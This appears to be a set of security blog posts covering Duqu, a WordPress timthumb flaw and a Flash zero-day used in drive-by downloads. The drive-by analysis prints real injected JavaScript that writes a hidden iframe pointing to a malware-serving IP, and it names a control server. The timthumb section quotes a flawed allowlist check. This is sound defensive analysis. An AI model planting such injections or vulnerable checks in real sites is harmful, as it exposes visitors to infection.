Kernel Vulnerabilities and Zero Days: a Duqu Update

We discussed much of the unfolding Duqu attack in our previous post. Some new light has recently illuminated some missing pieces to this interesting attack.

Researchers at CrySys Labs in Hungary have disclosed information about a Word document that is purported to be the installer file for the Duqu attacks. The document loads a kernel driver after exploitation from a possible new zero-day vulnerability, which then loads a DLL into Services.exe to start the Duqu installation. This driver appears to have been compiled on Thu Feb 21 06:14:47 2008, according to the time stamp in its PE header. The driver is not signed, as it is loaded via the zero-day exploit that results in kernel memory access.

We have already seen several indications that this threat was related to Stuxnet in some form. When comparing the code of the first Duqu samples we received with older Stuxnet variants, we noticed several similarities, and even exact matches for some important functions such as the DLL-injection routine, decryption of strings and external modules, and management of tables for indirect API calls, among others. Due to the 2008 timeframe for the driver code in question, we have yet another clue, beside the zero-day exploit, that this code is likely based on the same base as Stuxnet, which reused old driver code in several cases while creating new exploits.

Detection has been added for these new malware to our existing Duqu coverage: PWS-Duqu, PWS-Duqu!rootkit, and PWS-Duqu!dat.

More to come as this tale unfolds!

Many WordPress blogs at risk from image-based zero-day vulnerability

Bilocating technology blogger Mark Maunder – he claims to live in Seattle and Cape Town concurrently, though I suspect he means consecutively, and I’ll wager he wisely avoids winter in both of them – recently wrote about an intrusion to his WordPress site.

It turns out the backdoor was a previously-unexploited, or at least a previously-undocumented, flaw in a useful little WordPress addon, shared by many WordPress themes, called timthumb.

Timthumb is an 864-line PHP script which assists with automatic image resizing, thumbmailing and so forth. (It doesn’t squeeze the image manipulation code into those 864 lines, but uses the third-party GD library.)

If you run WordPress and you have a file named timthumb.php, sometimes renamed to thumb.php, in your installation, you may be at risk.

Tracking down the mechanism behind his intrusion, Maunder identified three main problems with timthumb.php: poor default settings; poor verification of input data; and poor choice of file permissions for temporary files.

By default, the vulnerable version of timthumb allowed images from external sites to be accessed from your server. The default list is probably unsurprising:

// external domains that are allowed to be displayed on your website
$allowedSites = array (
	'flickr.com',
	'picasa.com',
	'img.youtube.com',
	'upload.wikimedia.org',
);

But a better default would be an empty list, so that users who want to allow external files to be sourced by their own servers need to take steps to enable that capability.

If you use WordPress and timthumb and you don’t need this capability, Maunder suggests simply editing the timthumb.php code to say $allowedSites = array(); in order to prevent remote file trickery.

Secondly, timthumb.php checked the sanity of remote URLs – to verify they really were in the list of allowed sites – by looking for the permitted domains somewhere in the hostname part of the URL, rather than making sure they were the hostname part:

$isAllowedSite = false;
foreach ($allowedSites as $site) {
        if (strpos (strtolower ($url_info['host']), $site) !== false) {
                $isAllowedSite = true;
        }
}

This code meant that a dodgy website name such as picasa.com.badsite.example would pass the test, simply because it contains the string picasa.com. Clearly, that is not what was intended.

Lastly, timthumb.php stored the files it generated in a cache directory which is inside the PHP directory tree. This is bad, because files generated from untrusted external content – files only ever intended to be displayed – needlessly became executable.

So if the cached file isn’t an innocent image, but a remote access PHP Trojan (in Maunder’s case, the attacker used a malicious remote console tool called Alucar), you’re owned.

If you are a web developer:

* Don’t trust externally-sourced content by default. Force your users to think about what they really want.

* Check, test, check, test, check and test again your URL sanitisation code. Build a decent test suite and verify your code against it every time you release an update.

* Keep files which are only ever supposed to be used as data – especially remotely-sourced files – outside the directory tree where your server-side executable code lives.

If you run a WordPress installation:

Check if any of the blogs you host use timthumb.php, and upgrade to the latest version. The dodgy strpos above has been replaced with a tighter match based on a regular expression, like this:

$isAllowedSite = false;
foreach ($allowedSites as $site) {
	if (preg_match ('/(?:^|\.)' . $site . '$/i', $url_info['host'])) {
		$isAllowedSite = true;
	}
}

This doesn’t fix all of the issues Maunder describes, but it’s better than having a known hole in your site.

Many thanks to Mr Maunder for turning an attack on his site into a training tool to help the rest of us avoid a similar problem!



PS. WordPress.com VIP, which hosts Naked Security, doesn’t use timthumb.

Drive-By Downloads Attack Adobe Zero-Day Flaw

Adobe released a security advisory warning the users of a zero-day vulnerability in Adobe Flash Player Versions 10.2.152.33 and earlier. An exploit targeting this vulnerability was embedded inside Microsoft Excel documents and was used to deliver the malicious code to the victims. McAfee Labs performed a detailed technical analysis of the exploit and learned that the Flash Player object embedded inside the Excel document carried the malicious shellcode (shown below), which in turn loaded another Flash object to exploit the vulnerability via the classical heap-spray technique.

A couple of weeks ago we came across another variation in this attack via a drive-by download through a compromised web server.

In a drive-by download, a user visits a legitimate but infected web page and is redirected to a malicious server. Most of these infections are malicious iframes injected into a JavaScript exploit on the compromised web server, resulting in the malware installing itself onto the user’s machine. This is a common and widely known attack method.

A drive-by download usually goes like this:

During our investigation, we came across an Amnesty International website that was compromised with a JavaScript exploit appended at the end of the page. The page source looked like this:

This insertion will make the browser request the JavaScript exploit from the compromised server, which in turn contains the links to the malicious server.

Looking into the content of the JavaScript exploit, we see the embedded iframe source that redirects the browser to the malware-hosting web server, from which the exploit downloads the malicious Adobe Flash files.

if(document.cookie.indexOf(‘popad’)==-1){
.var e=new Date();e.setDate(e.getDate()+1);e.setHours(0,0,0);e.setTime(e.getTime());
.document.cookie=’popad=true;path=/;expires=’+e.toGMTString();
..document.write(“<iframe frameborder=0 style=’position: absolute; top:-9999px;left:-9999px’ src=’http://71.6.217.131/dir/AI/exploit.html
width=468 height=60 scrolling=no></iframe>“);

The browser then connects to this URL and downloads the exploit.html page.

This page was still alive during our investigation. Its contents looked like this:

Examining this JavaScript code, we can figure out that display.swf is the Flash object that contains the exploit code targeting the vulnerability. This code is embedded inside another Flash object. The file newsvine.jp2 is the actual backdoor binary, written in Visual Basic, which is first downloaded and then executed by the shellcode to exploit the vulnerability.

The browser makes this request to download newsvine.jp2.

Another GET request downloads the Flash object:

Next we see the Flash ActionScript that we decompiled from the Flash object. The highlighted part within the code is another embedded Flash object containing the exploit code.

While analyzing newsvine.jp2, we suspected this binary could have been authored in China due to the fact that resource section of this file has the locale ID of 2052, which maps to China.

The version information of swf.exe contains the string zchuang, which could be the author’s name.

Once executed the malware attempts to connect to the control server jeentern.dyndns.org on port 80.

McAfee protection

McAfee Intrusion Prevention (formerly IntruShield) has released coverage for the Adobe Flash zero-day download Trojan under the attack signature 0x402a1700-HTTP: Adobe Flash Drive By Download Trojan. McAfee customers with up-to-date installations are protected against this malware.

——– UPDATE ———–

To clarify – this exploits CVE-2011-0611 and NOT a new 0-day or new vulnerability. Sorry if the earlier lack of specificity caused any confusion!

New Adobe Flash zero day in the wild – infects through MS Word documents

Word/Flash logoAdobe has issued a security advisory concerning a new zero day flaw (CVE-2011-0611) in Adobe Flash Player 10. As usual this also means that other applications that support Flash content like Adobe Reader and Microsoft Office are also affected.

Brian Krebs wrote a blog post earlier today describing some targeted attacks using a Microsoft Word attachment that had an embedded Flash object used to exploit this flaw.

Mr. Krebs notes that the samples in the wild were largely being used in spear phishing attacks targeting the US Government and related contractors and agencies.

Adobe’s advisory notes that Adobe Reader X utilizes a sandbox which prevents this exploit from working in Adobe Reader X on Windows. Windows machines with Flash installed are still vulnerable through their browsers and other applications.

The vulnerability impacts Adobe Flash Player 10 (all Operating Systems) and Adobe Reader 9 and X for Windows and Macintosh. It does not affect Adobe Reader for Android, Unix or Adobe Reader/Acrobat 8.

The only mitigation at this point is to remove Flash entirely and be sure you are using Adobe Reader 8/Adobe Reader X (Windows only).

Adobe mentioned they are working to release a fix for all affected software as soon as possible, with the exception of Adobe Reader X for Windows.

This is the same stance they took with the last Flash vulnerability that was mitigated through the use of Adobe Reader X’s sandbox.

Personally I find this approach distasteful, and it was one of the concerns I had when Adobe had announced their sandbox technology. It’s great that the sandbox is working against some of these exploits, but it suggests it is ok to consume malicious code because you have “protection”.

It would be better to release security fixes with the same priority regardless of the version of the software.

The observed attack currently only targets Windows users, but once a fix is made available by Adobe I recommend everyone update to the latest Flash software.

SophosLabs have published their analysis, including links to our identities in our knowledgebase.